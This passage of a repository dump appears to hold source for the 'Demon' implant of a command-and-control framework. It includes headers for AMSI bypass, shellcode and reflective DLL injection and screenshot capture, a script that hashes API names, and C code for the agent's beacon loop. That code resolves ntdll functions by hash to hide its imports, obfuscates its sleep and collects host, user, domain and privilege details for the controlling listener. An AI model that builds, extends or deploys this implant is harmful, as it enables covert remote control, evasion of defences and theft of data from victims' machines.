PsAttributeMax           = 12 /*0xC*/\n}PS_ATTRIBUTE_NUM, *PPS_ATTRIBUTE_NUM;\n\ntypedef struct _PROC_THREAD_ATTRIBUTE_ENTRY\n{\n    ULONG_PTR  Attribute;\n    ULONG_PTR  Size;\n    ULONG_PTR* pValue;\n    ULONG_PTR  Unknown;\n} PROC_THREAD_ATTRIBUTE_ENTRY, *PPROC_THREAD_ATTRIBUTE_ENTRY;\n\ntypedef struct __attribute__((packed))\n{\n    ULONG ExtendedProcessInfo;\n    ULONG ExtendedProcessInfoBuffer;\n} EXTENDED_PROCESS_INFORMATION, *PEXTENDED_PROCESS_INFORMATION;\n\ntypedef struct _PROC_THREAD_ATTRIBUTE_LIST\n{\n    ULONG_PTR                   Length;\n    PROC_THREAD_ATTRIBUTE_ENTRY Entry;\n} PROC_THREAD_ATTRIBUTE_LIST, *PPROC_THREAD_ATTRIBUTE_LIST;\n\ntypedef PSYSTEM_PROCESS_INFORMATION  PSYS_PROC_INFO;\ntypedef SECURITY_QUALITY_OF_SERVICE  SEC_QUALITY_SERVICE;\ntypedef OBJECT_ATTRIBUTES            OBJ_ATTR;\ntypedef OBJECT_ATTRIBUTES            OBJ_ATTR;\ntypedef PROC_THREAD_ATTRIBUTE_LIST   THD_ATTR_LIST;\ntypedef PROCESS_INFORMATION          PROC_INFO;\n\nDWORD HashStringA(\n    IN PCHAR String\n);\n\nULONG HashEx(\n    IN PVOID String,\n    IN ULONG Length,\n    IN BOOL  Upper\n);\n\nPVOID LdrFunctionAddr(\n    IN PVOID Module,\n    IN ULONG   Hash\n);\n\nUINT32 GetSyscallSize(\n    VOID\n);\n\nPVOID LdrModulePeb(\n    IN DWORD hash\n);\n\nPVOID LdrModulePebByString(\n    IN LPWSTR Module\n);\n\nPVOID LdrModuleSearch(\n    IN LPWSTR ModuleName\n);\n\nPVOID LdrModuleLoad(\n    IN LPSTR ModuleName\n);\n\nBOOL ProcessCreate(\n    IN  BOOL                 x86,\n    IN  LPWSTR               App,\n    IN  LPWSTR               CmdLine,\n    IN  DWORD                Flags,\n    OUT PROCESS_INFORMATION* ProcessInfo,\n    IN  BOOL                 Piped,\n    IN  PANONPIPE            AnonPipes\n);\n\nBOOL ProcessTerminate(\n    IN HANDLE hProcess,\n    IN DWORD  Pid\n);\n\nBOOL ProcessIsWow(\n    IN HANDLE hProcess\n);\n\nHANDLE ProcessOpen(\n    IN DWORD Pid,\n    IN DWORD Access\n);\n\nNTSTATUS ProcessSnapShot(\n    OUT PSYSTEM_PROCESS_INFORMATION* Buffer,\n    OUT PSIZE_T Size\n);\n\nBOOL ReadLocalFile(\n    IN  LPCWSTR FileName,\n    OUT PVOID*  FileContent,\n    OUT PDWORD  FileSize\n);\n\nBOOL WinScreenshot(\n    OUT PVOID*  ImagePointer,\n    OUT PSIZE_T ImageSize\n);\n\nBOOL AnonPipesInit(\n    OUT PANONPIPE AnonPipes\n);\n\nVOID AnonPipesRead(\n    IN PANONPIPE AnonPipes,\n    IN UINT32    RequestID\n);\n\nBOOL PipeWrite(\n    IN HANDLE Handle,\n    IN PBUFFER Buffer\n);\n\nBOOL PipeRead(\n    IN  HANDLE Handle,\n    OUT PBUFFER Buffer\n);\n\nBOOL CfgQueryEnforced(\n    VOID\n);\n\nVOID CfgAddressAdd(\n    IN PVOID ImageBase,\n    IN PVOID Function\n);\n\nBOOL EventSet(\n    IN HANDLE Event\n);\n\nBOOL BypassPatchAMSI(\n    VOID\n);\n\nULONG RandomNumber32(\n    VOID\n);\n\nBOOL RandomBool(\n    VOID\n);\n\nULONG64 SharedTimestamp(\n    VOID\n);\n\nVOID SharedSleep(\n    ULONG64 Delay\n);\n\nVOID ShuffleArray(\n    _Inout_ PVOID* array,\n    IN     SIZE_T n\n);\n\nPROOT_DIR listDir(\n    IN LPWSTR StartPath,\n    IN BOOL   SubDirs,\n    IN BOOL   FilesOnly,\n    IN BOOL   DirsOnly,\n    IN LPWSTR Starts,\n    IN LPWSTR Contains,\n    IN LPWSTR Ends,\n    IN UINT32 MaxLevelDeep);\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/crypt/AesCrypt.h",
    "content": "#ifndef _AES_H_\n#define _AES_H_\n\n#include <windows.h>\n\n#define CTR 1\n#define AES256 1\n\n#ifndef CTR\n#define CTR 1\n#endif\n\n#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only\n#define AES_KEYLEN 32\n#define AES_keyExpSize 240\n\ntypedef struct {\n    UINT8 RoundKey[AES_keyExpSize];\n    UINT8 Iv[AES_BLOCKLEN];\n} AESCTX, *PAESCTX ;\n\nvoid AesInit( PAESCTX ctx, const PUINT8 key, const PUINT8 iv);\nvoid AesXCryptBuffer( PAESCTX ctx, PUINT8 buf, SIZE_T length);\n\n#endif // _AES_H_"
  },
  {
    "path": "payloads/Demon/include/inject/Inject.h",
    "content": "\n#ifndef DEMON_BASEINJECT_H\n#define DEMON_BASEINJECT_H\n\n#include <Demon.h>\n\n#include <core/Memory.h>\n#include <core/Thread.h>\n\n#define INJECTION_TECHNIQUE_WIN32           1\n#define INJECTION_TECHNIQUE_SYSCALL         2\n#define INJECTION_TECHNIQUE_APC             3\n\n#define SPAWN_TECHNIQUE_SYSCALL             2\n#define SPAWN_TECHNIQUE_APC                 3\n\n// defaults\n#define SPAWN_TECHNIQUE_DEFAULT             SPAWN_TECHNIQUE_SYSCALL\n#define INJECTION_TECHNIQUE_DEFAULT         INJECTION_TECHNIQUE_SYSCALL\n\ntypedef enum _DX_CREATE_THREAD\n{\n    DX_THREAD_DEFAULT           = 0,\n    DX_THREAD_WIN32             = 1,\n    DX_THREAD_SYSCALL           = 2,\n    DX_THREAD_APC               = 3,\n    DX_THREAD_WOW               = 4,\n    DX_THREAD_SYSAPC            = 5,\n} DX_THREAD;\n\ntypedef struct INJECTION_CTX\n{\n    HANDLE  hProcess;\n    DWORD   ThreadID;\n    DWORD   ProcessID;\n    HANDLE  hThread;\n    SHORT   Arch;\n    BOOL    PipeStdout;\n\n    BOOL    SuspendAwake;\n    LPVOID  Parameter;\n    UINT32  ParameterSize;\n\n    SHORT   Technique;\n} INJECTION_CTX, *PINJECTION_CTX ;\n\n/* injection errors */\n#define INJECT_ERROR_SUCCESS                0   /* no error. successful executed */\n#define INJECT_ERROR_FAILED                 1   /* aborted while trying to execute function */\n#define INJECT_ERROR_INVALID_PARAM          2   /* invalid param */\n#define INJECT_ERROR_PROCESS_ARCH_MISMATCH  3   /* process arch mismatches the injection arch */\n\n#define INJECT_WAY_SPAWN   0\n#define INJECT_WAY_INJECT  1\n#define INJECT_WAY_EXECUTE 2\n\nDWORD Inject(\n    IN BYTE   Method,\n    IN HANDLE Handle,\n    IN DWORD  Pid,\n    IN BOOL   x64,\n    IN PVOID  Payload,\n    IN SIZE_T Size,\n    IN UINT64 Offset,\n    IN PVOID  Argv,\n    IN SIZE_T Argc\n);\n\n// ShellcodeInjectDispatch\nBOOL  ShellcodeInjectDispatch( BOOL Inject, SHORT InjectionMethod, LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx );\nBOOL  ShellcodeInjectionSys( LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx );\nBOOL  ShellcodeInjectionSysApc( HANDLE hProcess, LPVOID lpShellcodeBytes, SIZE_T ShellcodeSize, PINJECTION_CTX ctx );\n\nDWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSize, LPVOID lpDllBuffer, DWORD dwDllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx );\nDWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID lpDllBuffer, DWORD dwDllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/inject/InjectUtil.h",
    "content": "#ifndef DEMON_INJECTUTIL_H\n#define DEMON_INJECTUTIL_H\n\n#include <windows.h>\n#include <inject/Inject.h>\n\n#define DEREF_32( name )*(DWORD *)(name)\n#define DEREF_16( name )*(WORD *)(name)\n\n#ifndef ProcThreadAttributeValue\n\n#define PROC_THREAD_ATTRIBUTE_NUMBER    0x0000FFFF\n#define PROC_THREAD_ATTRIBUTE_THREAD    0x00010000\n#define PROC_THREAD_ATTRIBUTE_INPUT     0x00020000\n#define PROC_THREAD_ATTRIBUTE_ADDITIVE  0x00040000\n\n#define ProcThreadAttributeValue(Number, Thread, Input, Additive) \\\n    (((Number) & PROC_THREAD_ATTRIBUTE_NUMBER) | \\\n     ((Thread != FALSE) ? PROC_THREAD_ATTRIBUTE_THREAD : 0) | \\\n     ((Input != FALSE) ? PROC_THREAD_ATTRIBUTE_INPUT : 0) | \\\n     ((Additive != FALSE) ? PROC_THREAD_ATTRIBUTE_ADDITIVE : 0))\n\n#endif\n\n#define ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X64_TO_X86   0x1001\n#define ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X86_TO_X64   0x1002\n#define ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS            0x1003\n\nDWORD   Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress);\nDWORD   GetReflectiveLoaderOffset( PVOID lpReflectiveDllBuffer );\nDWORD   GetPeArch( PVOID PeBytes );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/makefile",
    "content": "MAKEFLAGS \t+= -s\n\nclean:\n\trm -rf cmake-build-debug\n\trm -rf .idea\n\trm -rf Build\n"
  },
  {
    "path": "payloads/Demon/scripts/hash_func.py",
    "content": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n# credit: https://github.com/tigr0w/realoriginal_titanldr-ng/blob/5b8835143f36adfb8d077823e18f21d3043960fb/python3/hashstring.py\n\nimport sys\n\ndef hash_string( string ):\n    try:\n        hash = 5381\n\n        for x in string.upper():\n            hash = (( hash << 5 ) + hash ) + ord(x)\n\n        return hash & 0xFFFFFFFF\n    except:\n        pass\n\ndef hash_coffapi( string ):\n    try:\n        hash = 5381\n\n        for x in string:\n            hash = (( hash << 5 ) + hash ) + ord(x)\n\n        return hash & 0xFFFFFFFF\n    except:\n        pass\n\nif __name__ in '__main__':\n    try:\n        print('#define H_FUNC_%s 0x%x' % ( sys.argv[ 1 ].upper(), hash_string( sys.argv[ 1 ] ) ));\n        print('#define H_COFFAPI_%s 0x%x' % ( sys.argv[ 1 ].upper(), hash_coffapi( sys.argv[ 1 ] ) ));\n    except IndexError:\n        print('usage: %s [string]' % sys.argv[0]);\n"
  },
  {
    "path": "payloads/Demon/src/Demon.c",
    "content": "#include <Demon.h>\n\n/* Import Common Headers */\n#include <common/Defines.h>\n#include <common/Macros.h>\n\n/* Import Core Headers */\n#include <core/Transport.h>\n#include <core/SleepObf.h>\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/SysNative.h>\n#include <core/Runtime.h>\n\n/* Import Inject Headers */\n#include <inject/Inject.h>\n\n/* Import Inject Headers */\n#include <core/ObjectApi.h>\n\n/* Global Variables */\nSEC_DATA PINSTANCE Instance      = { 0 };\nSEC_DATA BYTE      AgentConfig[] = CONFIG_BYTES;\n\n/*\n * In DemonMain it should go as followed:\n *\n * 1. Initialize pointer, modules and win32 api\n * 2. Initialize metadata\n * 3. Parse config\n * 4. Enter main connecting and tasking routine\n *\n */\nVOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs )\n{\n    INSTANCE Inst = { 0 };\n\n    /* \"allocate\" instance on stack */\n    Instance = & Inst;\n\n    /* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */\n    DemonInit( ModuleInst, KArgs );\n\n    /* Initialize MetaData */\n    DemonMetaData( &Instance->MetaData, TRUE );\n\n    /* Main demon routine */\n    DemonRoutine();\n}\n\n/* Main demon routine:\n *\n * 1. Connect to listener\n * 2. Go into tasking routine:\n *      A. Sleep Obfuscation.\n *      B. Request for the task queue\n *      C. Parse Task\n *      D. Execute Task (if it's not DEMON_COMMAND_NO_JOB)\n *      E. Goto C (we do this til there is nothing left)\n *      F. Goto A (we have nothing else to execute then lets sleep and after waking up request for more)\n * 3. Sleep Obfuscation. After that lets try to connect to the listener again\n */\n_Noreturn\nVOID DemonRoutine()\n{\n    /* the main loop */\n    for ( ;; )\n    {\n        /* if we aren't connected then lets connect to our host */\n        if ( ! Instance->Session.Connected )\n        {\n            /* Connect to our listener */\n            if ( TransportInit() )\n            {\n\n#ifdef TRANSPORT_HTTP\n                /* reset the failure counter since we managed to connect to it. */\n                Instance->Config.Transport.Host->Failures = 0;\n#endif\n            }\n        }\n\n        if ( Instance->Session.Connected )\n        {\n            /* Enter tasking routine */\n            CommandDispatcher();\n        }\n\n        /* Sleep for a while (with encryption if specified) */\n        SleepObf();\n    }\n}\n\n/* Init metadata buffer/package. */\nVOID DemonMetaData( PPACKAGE* MetaData, BOOL Header )\n{\n    PVOID            Data       = NULL;\n    PIP_ADAPTER_INFO Adapter    = NULL;\n    OSVERSIONINFOEXW OsVersions = { 0 };\n    SIZE_T           Length     = 0;\n    DWORD            dwLength   = 0;\n\n    /* Check we if we want to add the Agent Header + CommandID too */\n    if ( Header )\n    {\n        *MetaData = PackageCreateWithMetaData( DEMON_INITIALIZE );\n\n        /* Do not destroy this package if we fail to connect to the listener. */\n        ( *MetaData )->Destroy = FALSE;\n    }\n\n    // create AES Keys/IV\n    if ( Instance->Config.AES.Key == NULL && Instance->Config.AES.IV == NULL )\n    {\n        Instance->Config.AES.Key = Instance->Win32.LocalAlloc( LPTR, 32 );\n        Instance->Config.AES.IV  = Instance->Win32.LocalAlloc( LPTR, 16 );\n\n        for ( SHORT i = 0; i < 32; i++ )\n            Instance->Config.AES.Key[ i ] = RandomNumber32();\n\n        for ( SHORT i = 0; i < 16; i++ )\n            Instance->Config.AES.IV[ i ]  = RandomNumber32();\n    }\n\n    /*\n\n     Header (if specified):\n        [ SIZE         ] 4 bytes\n        [ Magic Value  ] 4 bytes\n        [ Agent ID     ] 4 bytes\n        [ COMMAND ID   ] 4 bytes\n        [ Request ID   ] 4 bytes\n\n     MetaData:\n        [ AES KEY      ] 32 bytes\n        [ AES IV       ] 16 bytes\n        [ Magic Value  ] 4 bytes\n        [ Demon ID     ] 4 bytes\n        [ Host Name    ] size + bytes\n        [ User Name    ] size + bytes\n        [ Domain       ] size + bytes\n        [ IP Address   ] 16 bytes?\n        [ Process Name ] size + bytes\n        [ Process ID   ] 4 bytes\n        [ Parent  PID  ] 4 bytes\n        [ Process Arch ] 4 bytes\n        [ Elevated     ] 4 bytes\n        [ Base Address ] 8 bytes\n        [ OS Info      ] ( 5 * 4 ) bytes\n        [ OS Arch      ] 4 bytes\n        [ SleepDelay   ] 4 bytes\n        [ SleepJitter  ] 4 bytes\n        [ Killdate     ] 8 bytes\n        [ WorkingHours ] 4 bytes\n        ..... more\n        [ Optional     ] Eg: Pivots, Extra data about the host or network etc.\n    */\n\n    // Add AES Keys/IV\n    PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.Key, 32 );\n    PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.IV,  16 );\n\n    // Add session id\n    PackageAddInt32( *MetaData, Instance->Session.AgentID );\n\n    // Get Computer name\n    dwLength = 0;\n    if ( ! Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) )\n    {\n        if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )\n        {\n            MemSet( Data, 0, dwLength );\n            if ( Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) )\n                PackageAddBytes( *MetaData, Data, dwLength );\n            else\n                PackageAddInt32( *MetaData, 0 );\n            DATA_FREE( Data, dwLength );\n        }\n        else\n            PackageAddInt32( *MetaData, 0 );\n    }\n    else\n        PackageAddInt32( *MetaData, 0 );\n\n    // Get Username\n    dwLength = 0;\n    if ( ! Instance->Win32.GetUserNameA( NULL, &dwLength ) )\n    {\n        if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )\n        {\n            MemSet( Data, 0, dwLength );\n            if ( Instance->Win32.GetUserNameA( Data, &dwLength ) )\n                PackageAddBytes( *MetaData, Data, dwLength );\n            else\n                PackageAddInt32( *MetaData, 0 );\n            DATA_FREE( Data, dwLength );\n        }\n        else\n            PackageAddInt32( *MetaData, 0 );\n    }\n    else\n        PackageAddInt32( *MetaData, 0 );\n\n    // Get Domain\n    dwLength = 0;\n    if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) )\n    {\n        if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )\n        {\n            MemSet( Data, 0, dwLength );\n            if ( Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) )\n                PackageAddBytes( *MetaData, Data, dwLength );\n            else\n                PackageAddInt32( *MetaData, 0 );\n            DATA_FREE( Data, dwLength );\n        }\n        else\n            PackageAddInt32( *MetaData, 0 );\n    }\n    else\n        PackageAddInt32( *MetaData, 0 );\n\n    // Get internal IP\n    dwLength = 0;\n    if ( Instance->Win32.GetAdaptersInfo( NULL, &dwLength ) )\n    {\n        if ( ( Adapter = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )\n        {\n            if ( Instance->Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR )\n                PackageAddString( *MetaData, Adapter->IpAddressList.IpAddress.String );\n            else\n                PackageAddInt32( *MetaData, 0 );\n            DATA_FREE( Adapter, dwLength );\n        }\n        else\n            PackageAddInt32( *MetaData, 0 );\n    }\n    else\n        PackageAddInt32( *MetaData, 0 );\n\n    // Get Process Path\n    PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance->Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer );\n\n    PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueProcess );\n    PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueThread );\n    PackageAddInt32( *MetaData, Instance->Session.PPID );\n    PackageAddInt32( *MetaData, PROCESS_AGENT_ARCH );\n    PackageAddInt32( *MetaData, BeaconIsAdmin( ) );\n    PackageAddInt64( *MetaData, U_PTR( Instance->Session.ModuleBase ) );\n\n    MemSet( &OsVersions, 0, sizeof( OsVersions ) );\n    OsVersions.dwOSVersionInfoSize = sizeof( OsVersions );\n    Instance->Win32.RtlGetVersion( &OsVersions );\n    PackageAddInt32( *MetaData, OsVersions.dwMajorVersion    );\n    PackageAddInt32( *MetaData, OsVersions.dwMinorVersion    );\n    PackageAddInt32( *MetaData, OsVersions.wProductType      );\n    PackageAddInt32( *MetaData, OsVersions.wServicePackMajor );\n    PackageAddInt32( *MetaData, OsVersions.dwBuildNumber     );\n    PackageAddInt32( *MetaData, Instance->Session.OS_Arch );\n\n    PackageAddInt32( *MetaData, Instance->Config.Sleeping );\n    PackageAddInt32( *MetaData, Instance->Config.Jitter );\n    PackageAddInt64( *MetaData, Instance->Config.Transport.KillDate );\n    PackageAddInt32( *MetaData, Instance->Config.Transport.WorkingHours );\n}\n\nVOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs )\n{\n    OSVERSIONINFOEXW             OSVersionExW     = { 0 };\n    PVOID                        RtModules[]      = {\n            RtAdvapi32,\n            //RtMscoree,\n            RtOleaut32,\n            RtUser32,\n            RtShell32,\n            RtMsvcrt,\n            RtIphlpapi,\n            RtGdi32,\n            RtNetApi32,\n            RtWs2_32,\n            RtSspicli,\n#ifdef TRANSPORT_HTTP\n            RtWinHttp,\n#endif\n    };\n\n    Instance->Teb = NtCurrentTeb();\n\n#ifdef TRANSPORT_HTTP\n    PUTS( \"TRANSPORT_HTTP\" )\n#endif\n\n#ifdef TRANSPORT_SMB\n    PUTS( \"TRANSPORT_SMB\" )\n#endif\n\n\n    /* resolve ntdll.dll functions */\n    if ( ( Instance->Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) {\n        /* Module/Address function loading */\n        Instance->Win32.LdrGetProcedureAddress            = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRGETPROCEDUREADDRESS );\n        Instance->Win32.LdrLoadDll                        = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_LDRLOADDLL );\n\n        /* Rtl functions */\n        Instance->Win32.RtlAllocateHeap                   = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLALLOCATEHEAP );\n        Instance->Win32.RtlReAllocateHeap                 = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREALLOCATEHEAP );\n        Instance->Win32.RtlFreeHeap                       = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLFREEHEAP );\n        Instance->Win32.RtlExitUserThread                 = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERTHREAD );\n        Instance->Win32.RtlExitUserProcess                = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLEXITUSERPROCESS );\n        Instance->Win32.RtlRandomEx                       = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLRANDOMEX );\n        Instance->Win32.RtlNtStatusToDosError             = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLNTSTATUSTODOSERROR );\n        Instance->Win32.RtlGetVersion                     = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLGETVERSION );\n        Instance->Win32.RtlCreateTimerQueue               = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMERQUEUE );\n        Instance->Win32.RtlCreateTimer                    = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCREATETIMER );\n        Instance->Win32.RtlQueueWorkItem                  = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLQUEUEWORKITEM );\n        Instance->Win32.RtlRegisterWait                   = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREGISTERWAIT );\n        Instance->Win32.RtlDeleteTimerQueue               = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLDELETETIMERQUEUE );\n        Instance->Win32.RtlCaptureContext                 = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCAPTURECONTEXT );\n        Instance->Win32.RtlAddVectoredExceptionHandler    = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER );\n        Instance->Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER );\n        Instance->Win32.RtlCopyMappedMemory               = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_RTLCOPYMAPPEDMEMORY );\n\n        /* Native functions */\n        Instance->Win32.NtClose                           = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCLOSE );\n        Instance->Win32.NtCreateEvent                     = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT );\n        Instance->Win32.NtSetEvent                        = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETEVENT );\n        Instance->Win32.NtSetInformationThread            = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONTHREAD );\n        Instance->Win32.NtSetInformationVirtualMemory     = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETINFORMATIONVIRTUALMEMORY );\n        Instance->Win32.NtGetNextThread                   = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETNEXTTHREAD );\n        Instance->Win32.NtOpenProcess                     = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESS );\n        Instance->Win32.NtTerminateProcess                = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATEPROCESS );\n        Instance->Win32.NtQueryInformationProcess         = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONPROCESS );\n        Instance->Win32.NtQuerySystemInformation          = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYSYSTEMINFORMATION );\n        Instance->Win32.NtAllocateVirtualMemory           = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALLOCATEVIRTUALMEMORY );\n        Instance->Win32.NtQueueApcThread                  = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUEUEAPCTHREAD );\n        Instance->Win32.NtOpenThread                      = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREAD );\n        Instance->Win32.NtOpenThreadToken                 = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENTHREADTOKEN );\n        Instance->Win32.NtResumeThread                    = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTRESUMETHREAD );\n        Instance->Win32.NtSuspendThread                   = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSUSPENDTHREAD );\n        Instance->Win32.NtCreateEvent                     = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATEEVENT );\n        Instance->Win32.NtDuplicateObject                 = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATEOBJECT );\n        Instance->Win32.NtGetContextThread                = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTGETCONTEXTTHREAD );\n        Instance->Win32.NtSetContextThread                = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSETCONTEXTTHREAD );\n        Instance->Win32.NtWaitForSingleObject             = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWAITFORSINGLEOBJECT );\n        Instance->Win32.NtAlertResumeThread               = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTALERTRESUMETHREAD );\n        Instance->Win32.NtSignalAndWaitForSingleObject    = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT );\n        Instance->Win32.NtTestAlert                       = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTESTALERT );\n        Instance->Win32.NtCreateThreadEx                  = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCREATETHREADEX );\n        Instance->Win32.NtOpenProcessToken                = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTOPENPROCESSTOKEN );\n        Instance->Win32.NtDuplicateToken                  = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTDUPLICATETOKEN );\n        Instance->Win32.NtProtectVirtualMemory            = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTPROTECTVIRTUALMEMORY  );\n        Instance->Win32.NtTerminateThread                 = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTERMINATETHREAD );\n        Instance->Win32.NtWriteVirtualMemory              = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTWRITEVIRTUALMEMORY );\n        Instance->Win32.NtContinue                        = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTCONTINUE );\n        Instance->Win32.NtReadVirtualMemory               = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTREADVIRTUALMEMORY );\n        Instance->Win32.NtFreeVirtualMemory               = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTFREEVIRTUALMEMORY );\n        Instance->Win32.NtUnmapViewOfSection              = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTUNMAPVIEWOFSECTION );\n        Instance->Win32.NtQueryVirtualMemory              = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYVIRTUALMEMORY );\n        Instance->Win32.NtQueryInformationToken           = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTOKEN );\n        Instance->Win32.NtQueryInformationThread          = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYINFORMATIONTHREAD );\n        Instance->Win32.NtQueryObject                     = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTQUERYOBJECT );\n        Instance->Win32.NtTraceEvent                      = LdrFunctionAddr( Instance->Modules.Ntdll, H_FUNC_NTTRACEEVENT );\n    } else {\n        PUTS( \"Failed to load ntdll from PEB\" )\n        return;\n    }\n\n    /* resolve Windows version */\n    Instance->Session.OSVersion = WIN_VERSION_UNKNOWN;\n    OSVersionExW.dwOSVersionInfoSize = sizeof( OSVersionExW );\n    if ( NT_SUCCESS( Instance->Win32.RtlGetVersion( &OSVersionExW ) ) ) {\n        if ( OSVersionExW.dwMajorVersion >= 5 ) {\n            if ( OSVersionExW.dwMajorVersion == 5 ) {\n                if ( OSVersionExW.dwMinorVersion == 1 ) {\n                    Instance->Session.OSVersion = WIN_VERSION_XP;\n                }\n            } else if ( OSVersionExW.dwMajorVersion == 6 ) {\n                if ( OSVersionExW.dwMinorVersion == 0 ) {\n                    Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008;\n                } else if ( OSVersionExW.dwMinorVersion == 1 ) {\n                    Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2;\n                } else if ( OSVersionExW.dwMinorVersion == 2 ) {\n                    Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012;\n                } else if ( OSVersionExW.dwMinorVersion == 3 ) {\n                    Instance->Session.OSVersion = 